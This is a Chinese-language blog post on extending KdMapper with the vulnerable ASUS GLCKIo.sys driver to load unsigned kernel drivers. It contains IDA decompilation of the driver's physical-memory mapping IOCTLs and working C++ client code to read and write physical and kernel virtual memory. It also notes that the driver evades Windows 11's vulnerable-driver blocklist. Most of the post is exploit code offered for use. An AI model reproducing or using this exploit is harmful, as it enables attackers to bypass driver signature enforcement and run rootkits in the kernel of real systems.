KdMapper扩展实现之ASUS(GLCKIo.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | GLCKIo.sys |
时间戳 | 540FF16D |
MD5 | 66066D9852BC65988FB4777F0FF3FBB4 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
int v3; // [rsp+40h] [rbp-38h]
PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-30h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF
DeviceObject = 0i64;
DbgPrint("Entering DriverEntry");
RtlInitUnicodeString(&DestinationString, L"\\Device\\GLCKIo");
v3 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x8010u, 0, 0, &DeviceObject);
if (v3 < 0)
{
DbgPrint("ERROR: IoCreateDevice failed");
}
else
{
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140001740;
DriverObject->MajorFunction[2] = DriverObject->MajorFunction[14];
DriverObject->MajorFunction[0] = DriverObject->MajorFunction[2];
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140001C20;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\GLCKIo");
v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (v3 < 0)
{
DbgPrint("ERROR: IoCreateSymbolicLink failed");
IoDeleteDevice(DeviceObject);
}
}
DbgPrint("Leaving DriverEntry");
return v3;
}
3.2 IRP_MJ_DEVICE_CONTROL
IRP_MJ_DEVICE_CONTROL对应的函数 sub_140001740,其代码如下:
__int64 __fastcall sub_140001740(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
ULONG nInputBufferLength; // [rsp+30h] [rbp-98h]
struct _IO_STACK_LOCATION* pIosp; // [rsp+50h] [rbp-78h]
MAP_PHYSICAL_MEMORY_INFO* pPhysicalMemoryInfo; // [rsp+58h] [rbp-70h]
MAP_PHYSICAL_MEMORY_INFO Info; // [rsp+78h] [rbp-50h] BYREF
pIosp = GetCurrrentStackLocation(pIrp);
pPhysicalMemoryInfo = (MAP_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
nMajorFunction = pIosp->MajorFunction;
if (nMajorFunction)
{
if (nMajorFunction == 2)
{
DbgPrint("IRP_MJ_CLOSE");
}
else if (nMajorFunction == 14)
{
DbgPrint("IRP_MJ_DEVICE_CONTROL");
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
switch (nIoControlCode)
{
case 0x80102040: //Map PhysicalMemory
DbgPrint("IOCTL_WINIO_MAPPHYSTOLIN");
if (nInputBufferLength)
{
qmemcpy(&Info, pPhysicalMemoryInfo, nInputBufferLength);
ntStatusRet = sub_1400011D0(
Info.PhysicalAddress,
Info.Size.QuadPart,
&Info.pMappedAddress,
&Info.hSection,
&Info.pObject);
if ((ntStatusRet & 0x80000000) == 0)
{
qmemcpy(pPhysicalMemoryInfo, &Info, nInputBufferLength);
pIrp->IoStatus.Information = nInputBufferLength;
}
pIrp->IoStatus.Status = ntStatusRet;
}
else
{
pIrp->IoStatus.Status = 0xC000000D;
}
break;
case 0x80102044: //UnMap PhysicalMemory
DbgPrint("IOCTL_WINIO_UNMAPPHYSADDR");
if (nInputBufferLength)
{
qmemcpy(&Info, pPhysicalMemoryInfo, nInputBufferLength);
ntStatusRet = sub_140001650(Info.hSection, Info.pMappedAddress, Info.pObject);
pIrp->IoStatus.Status = ntStatusRet;
}
else
{
pIrp->IoStatus.Status = 0xC000000D;
}
break;
......
}
}
}
else
{
DbgPrint("IRP_MJ_CREATE");
}
ntStatusRet = pIrp->IoStatus.Status;
IofCompleteRequest(pIrp, 0);
DbgPrint("Leaving WinIoDispatch");
return ntStatusRet;
}
其中映射物理内存 ControlCode 为 0x80102040,取消映射为 0x80102044,相应的函数为 sub_1400011D0 和 sub_140001650。
3.4 映射物理内存
sub_1400011D0 如下:
__int64 __fastcall sub_1400011D0(PHYSICAL_ADDRESS pPhysicalAddress, SIZE_T nSize, PVOID* pMappedAddress, void** hSection, PVOID* Object)
{
NTSTATUS ntStatus; // [rsp+50h] [rbp-78h]
BOOLEAN bMapEnd; // [rsp+54h] [rbp-74h]
BOOLEAN bMapStart; // [rsp+55h] [rbp-73h]
ULONG AddressSpace; // [rsp+58h] [rbp-70h] BYREF
PHYSICAL_ADDRESS BusAddress; // [rsp+60h] [rbp-68h] BYREF
PVOID BaseAddress; // [rsp+68h] [rbp-60h] BYREF
union _LARGE_INTEGER SectionOffset; // [rsp+70h] [rbp-58h] BYREF
PHYSICAL_ADDRESS TranslatedAddress; // [rsp+78h] [rbp-50h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+B0h] [rbp-18h] BYREF
SIZE_T CommitSize; // [rsp+D8h] [rbp+10h] BYREF
PVOID* pMappedAddressReturn; // [rsp+E0h] [rbp+18h]
PHANDLE SectionHandle; // [rsp+E8h] [rbp+20h]
SectionHandle = hSection;
pMappedAddressReturn = pMappedAddress;
CommitSize = nSize;
BaseAddress = 0i64;
DbgPrint("Entering MapPhysicalMemoryToLinearSpace");
RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 64;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
*SectionHandle = 0i64;
*Object = 0i64;
ntStatus = ZwOpenSection(SectionHandle, 0xF001Fu, &ObjectAttributes);
if (ntStatus < 0)
{
DbgPrint("ERROR: ZwOpenSection failed");
}
else
{
ntStatus = ObReferenceObjectByHandle(*SectionHandle, 0xF001Fu, 0i64, 0, Object, 0i64);
if (ntStatus < 0)
{
DbgPrint("ERROR: ObReferenceObjectByHandle failed");
}
else
{
BusAddress = pPhysicalAddress;
TranslatedAddress.QuadPart = CommitSize + pPhysicalAddress.QuadPart;
AddressSpace = 0;
bMapStart = HalTranslateBusAddress(Isa, 0, pPhysicalAddress, &AddressSpace, &BusAddress);
AddressSpace = 0;
bMapEnd = HalTranslateBusAddress(Isa, 0, TranslatedAddress, &AddressSpace, &TranslatedAddress);
if (bMapStart && bMapEnd)
{
CommitSize = TranslatedAddress.QuadPart - BusAddress.QuadPart;
SectionOffset = BusAddress;
ntStatus = ZwMapViewOfSection(
*SectionHandle,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
TranslatedAddress.QuadPart - BusAddress.QuadPart,
&SectionOffset,
&CommitSize,
ViewShare,
0,
0x204u);
if (ntStatus == -1073741800)
ntStatus = ZwMapViewOfSection(
*SectionHandle,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
CommitSize,
&SectionOffset,
&CommitSize,
ViewShare,
0,
4u);
if (ntStatus >= 0)
{
BaseAddress = (char*)BaseAddress + BusAddress.QuadPart - SectionOffset.QuadPart;
*pMappedAddressReturn = BaseAddress;
}
else
{
DbgPrint("ERROR: ZwMapViewOfSection failed");
}
}
else
{
DbgPrint("ERROR: HalTranslateBusAddress failed");
}
}
}
if (ntStatus < 0)
ZwClose(*SectionHandle);
DbgPrint("Leaving MapPhysicalMemoryToLinearSpace");
return (unsigned int)ntStatus;
}
其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
3.5 取消映射物理内存
sub_140001650 如下:
__int64 __fastcall sub_140001650(void* hSection, void* pMappedAddress, void* pObject)
{
NTSTATUS ntStatus; // [rsp+20h] [rbp-18h]
DbgPrint("Entering UnmapPhysicalMemory");
ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pMappedAddress);
if (ntStatus < 0)
DbgPrint("ERROR: UnmapViewOfSection failed");
if (pObject)
ObfDereferenceObject(pObject);
ZwClose(hSection);
DbgPrint("Leaving UnmapPhysicalMemory");
return (unsigned int)ntStatus;
}
3.6 MAP_PHYSICAL_MEMORY_INFO结构
00000000 MAP_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, align=0x8, copyof_380)
00000000 ; XREF: sub_140001740/r
00000000 Size LARGE_INTEGER ? ; XREF: sub_140001740+2D0/r
00000008 PhysicalAddress PHYSICAL_ADDRESS ? ; XREF: sub_140001740+2D5/r
00000010 hSection dq ? ; XREF: sub_140001740+2C0/o
00000010 ; sub_140001740+36F/r ; offset
00000018 pMappedAddress dq ? ; XREF: sub_140001740+2C8/o
00000018 ; sub_140001740+367/r ; offset
00000020 pObject dq ? ; XREF: sub_140001740+2B3/o
00000020 ; sub_140001740+35F/r ; offset
00000028 MAP_PHYSICAL_MEMORY_INFO ends
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_GLCKIO_PHYSICAL_MEMORY_INFO {
LARGE_INTEGER Size;
PHYSICAL_ADDRESS PhysicalAddress;
PVOID hSection;
PVOID pMappedAddress;
PVOID pObject;
} GLCKIO_PHYSICAL_MEMORY_INFO, * PGLCKIO_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#pragma warning(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define GLCKIO_DEVICE_TYPE (DWORD)0x8010
#define GLCKIO_MAP_SECTION_FUNCID (DWORD)0x810
#define GLCKIO_UNMAP_SECTION_FUNCID (DWORD)0x811
#define IOCTL_GLCKIO_MAP_USER_PHYSICAL_MEMORY \
CTL_CODE(GLCKIO_DEVICE_TYPE, GLCKIO_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040
#define IOCTL_GLCKIO_UNMAP_USER_PHYSICAL_MEMORY \
CTL_CODE(GLCKIO_DEVICE_TYPE, GLCKIO_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044
4.2 .c文件
NTSTATUS asus_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL asus_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID asus_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
PVOID* Object,
PHANDLE pHandle
)
{
ULONG_PTR offset;
ULONG mapSize;
GLCKIO_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
request.Size.QuadPart = mapSize;
request.pMappedAddress = NULL;
request.pObject = NULL;
request.hSection = NULL;
if (SuperCallDriver(DeviceHandle,
IOCTL_GLCKIO_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
/*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
if (Object)
{
*Object = request.pObject;
}
if (pHandle)
{
*pHandle = request.hSection;
}
return request.pMappedAddress;
}
return NULL;
}
VOID asus_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID SectionToUnmap,
PVOID Object,
HANDLE Handle
)
{
GLCKIO_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.pMappedAddress = SectionToUnmap;
request.pObject = Object;
request.hSection = Handle;
SuperCallDriver(DeviceHandle,
IOCTL_GLCKIO_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
PVOID Object = NULL;
HANDLE hSection = NULL;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes,
&Object,
&hSection);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection,
Object,
hSection);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
5. 运行效果
Windows 11 22621 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用GLCKIo.sys制作的KdMapper可以在 Win11 22621上运行,其它常规的漏洞驱动不能在这个版本上运行,因为驱动被列入了黑名单,加载不了。